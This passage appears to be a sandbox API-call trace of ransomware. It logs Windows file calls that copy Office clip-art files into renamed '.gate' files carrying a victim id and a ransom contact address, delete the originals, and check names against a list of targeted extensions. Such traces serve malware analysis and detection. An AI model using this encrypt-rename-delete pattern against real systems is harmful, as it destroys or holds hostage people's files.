returned -1 [0279.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.914] lstrlenW (lpString=".1cd") returned 4 [0279.914] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.914] lstrlenW (lpString=".jpg") returned 4 [0279.914] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.914] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.914] lstrlenW (lpString="AG00175_.GIF") returned 12 [0279.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.915] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3378) returned 1 [0279.915] CloseHandle (hObject=0x3dc) returned 1 [0279.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0279.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.916] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.916] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.916] GetLastError () returned 0x0 [0279.916] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xd32, lpOverlapped=0x0) returned 1 [0280.020] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xd40, lpOverlapped=0x0) returned 1 [0280.021] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0280.021] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0280.021] SetEndOfFile (hFile=0x3a0) returned 1 [0280.174] CloseHandle (hObject=0x3a0) returned 1 [0280.175] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.175] SetEndOfFile (hFile=0x3dc) returned 1 [0280.177] CloseHandle (hObject=0x3dc) returned 1 [0280.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0280.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0280.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.276] lstrlenW (lpString=".doc") returned 4 [0280.276] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0280.276] lstrlenW (lpString=".docx") returned 5 [0280.276] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0280.276] lstrlenW (lpString=".pdf") returned 4 [0280.276] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0280.276] lstrlenW (lpString=".xls") returned 4 [0280.276] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0280.276] lstrlenW (lpString=".xlsx") returned 5 [0280.276] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0280.276] lstrlenW (lpString=".ppt") returned 4 [0280.276] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0280.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.276] lstrlenW (lpString=".zip") returned 4 [0280.276] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0280.276] lstrlenW (lpString=".rar") returned 4 [0280.276] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0280.276] lstrlenW (lpString=".bz2") returned 4 [0280.276] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0280.276] lstrlenW (lpString=".7z") returned 3 [0280.276] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0280.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.276] lstrlenW (lpString=".dbf") returned 4 [0280.276] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0280.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.276] lstrlenW (lpString=".1cd") returned 4 [0280.276] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0280.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.276] lstrlenW (lpString=".jpg") returned 4 [0280.276] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0280.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.277] lstrlenW (lpString=".doc") returned 4 [0280.277] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0280.277] lstrlenW (lpString=".docx") returned 5 [0280.277] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0280.277] lstrlenW (lpString=".pdf") returned 4 [0280.277] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0280.277] lstrlenW (lpString=".xls") returned 4 [0280.277] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0280.277] lstrlenW (lpString=".xlsx") returned 5 [0280.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0280.277] lstrlenW (lpString=".ppt") returned 4 [0280.277] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0280.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.277] lstrlenW (lpString=".zip") returned 4 [0280.277] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0280.277] lstrlenW (lpString=".rar") returned 4 [0280.277] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0280.277] lstrlenW (lpString=".bz2") returned 4 [0280.277] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0280.277] lstrlenW (lpString=".7z") returned 3 [0280.277] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0280.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.277] lstrlenW (lpString=".dbf") returned 4 [0280.277] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0280.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.277] lstrlenW (lpString=".1cd") returned 4 [0280.277] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0280.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0280.277] lstrlenW (lpString=".jpg") returned 4 [0280.277] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0280.278] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0280.278] lstrlenW (lpString="AN00790_.WMF") returned 12 [0280.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0280.283] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=5684) returned 1 [0280.283] CloseHandle (hObject=0x404) returned 1 [0280.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0280.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0280.284] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.284] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0280.284] GetLastError () returned 0x0 [0280.284] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1634, lpOverlapped=0x0) returned 1 [0280.373] WriteFile (in: hFile=0x394, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1640, lpOverlapped=0x0) returned 1 [0280.934] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0280.934] WriteFile (in: hFile=0x394, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0280.935] SetEndOfFile (hFile=0x394) returned 1 [0281.028] CloseHandle (hObject=0x394) returned 1 [0281.029] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.029] SetEndOfFile (hFile=0x404) returned 1 [0281.031] CloseHandle (hObject=0x404) returned 1 [0281.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0281.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.032] lstrlenW (lpString=".doc") returned 4 [0281.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.032] lstrlenW (lpString=".docx") returned 5 [0281.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.032] lstrlenW (lpString=".pdf") returned 4 [0281.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.032] lstrlenW (lpString=".xls") returned 4 [0281.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.032] lstrlenW (lpString=".xlsx") returned 5 [0281.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.032] lstrlenW (lpString=".ppt") returned 4 [0281.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.032] lstrlenW (lpString=".zip") returned 4 [0281.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.032] lstrlenW (lpString=".rar") returned 4 [0281.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.032] lstrlenW (lpString=".bz2") returned 4 [0281.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.032] lstrlenW (lpString=".7z") returned 3 [0281.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.032] lstrlenW (lpString=".dbf") returned 4 [0281.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.032] lstrlenW (lpString=".1cd") returned 4 [0281.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.032] lstrlenW (lpString=".jpg") returned 4 [0281.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.033] lstrlenW (lpString=".doc") returned 4 [0281.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.033] lstrlenW (lpString=".docx") returned 5 [0281.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.033] lstrlenW (lpString=".pdf") returned 4 [0281.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.033] lstrlenW (lpString=".xls") returned 4 [0281.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.033] lstrlenW (lpString=".xlsx") returned 5 [0281.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.033] lstrlenW (lpString=".ppt") returned 4 [0281.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.033] lstrlenW (lpString=".zip") returned 4 [0281.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.033] lstrlenW (lpString=".rar") returned 4 [0281.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.033] lstrlenW (lpString=".bz2") returned 4 [0281.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.033] lstrlenW (lpString=".7z") returned 3 [0281.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.033] lstrlenW (lpString=".dbf") returned 4 [0281.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.033] lstrlenW (lpString=".1cd") returned 4 [0281.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0281.033] lstrlenW (lpString=".jpg") returned 4 [0281.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.034] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.034] lstrlenW (lpString="AN01044_.WMF") returned 12 [0281.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0281.035] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1596) returned 1 [0281.035] CloseHandle (hObject=0x404) returned 1 [0281.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0281.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0281.035] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.036] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0281.036] GetLastError () returned 0x0 [0281.036] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x63c, lpOverlapped=0x0) returned 1 [0281.083] WriteFile (in: hFile=0x394, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x640, lpOverlapped=0x0) returned 1 [0281.083] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0281.083] WriteFile (in: hFile=0x394, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0281.084] SetEndOfFile (hFile=0x394) returned 1 [0281.084] CloseHandle (hObject=0x394) returned 1 [0281.084] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.084] SetEndOfFile (hFile=0x404) returned 1 [0281.086] CloseHandle (hObject=0x404) returned 1 [0281.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0281.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.087] lstrlenW (lpString=".doc") returned 4 [0281.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.087] lstrlenW (lpString=".docx") returned 5 [0281.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.088] lstrlenW (lpString=".pdf") returned 4 [0281.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.088] lstrlenW (lpString=".xls") returned 4 [0281.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.088] lstrlenW (lpString=".xlsx") returned 5 [0281.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.088] lstrlenW (lpString=".ppt") returned 4 [0281.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.088] lstrlenW (lpString=".zip") returned 4 [0281.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.088] lstrlenW (lpString=".rar") returned 4 [0281.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.088] lstrlenW (lpString=".bz2") returned 4 [0281.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.088] lstrlenW (lpString=".7z") returned 3 [0281.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.088] lstrlenW (lpString=".dbf") returned 4 [0281.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.088] lstrlenW (lpString=".1cd") returned 4 [0281.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.088] lstrlenW (lpString=".jpg") returned 4 [0281.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.088] lstrlenW (lpString=".doc") returned 4 [0281.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.088] lstrlenW (lpString=".docx") returned 5 [0281.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.088] lstrlenW (lpString=".pdf") returned 4 [0281.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.089] lstrlenW (lpString=".xls") returned 4 [0281.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.089] lstrlenW (lpString=".xlsx") returned 5 [0281.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.089] lstrlenW (lpString=".ppt") returned 4 [0281.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.089] lstrlenW (lpString=".zip") returned 4 [0281.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.089] lstrlenW (lpString=".rar") returned 4 [0281.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.089] lstrlenW (lpString=".bz2") returned 4 [0281.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.089] lstrlenW (lpString=".7z") returned 3 [0281.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.089] lstrlenW (lpString=".dbf") returned 4 [0281.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.089] lstrlenW (lpString=".1cd") returned 4 [0281.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0281.089] lstrlenW (lpString=".jpg") returned 4 [0281.089] lstrcmpiW (lpString1=".jpg", 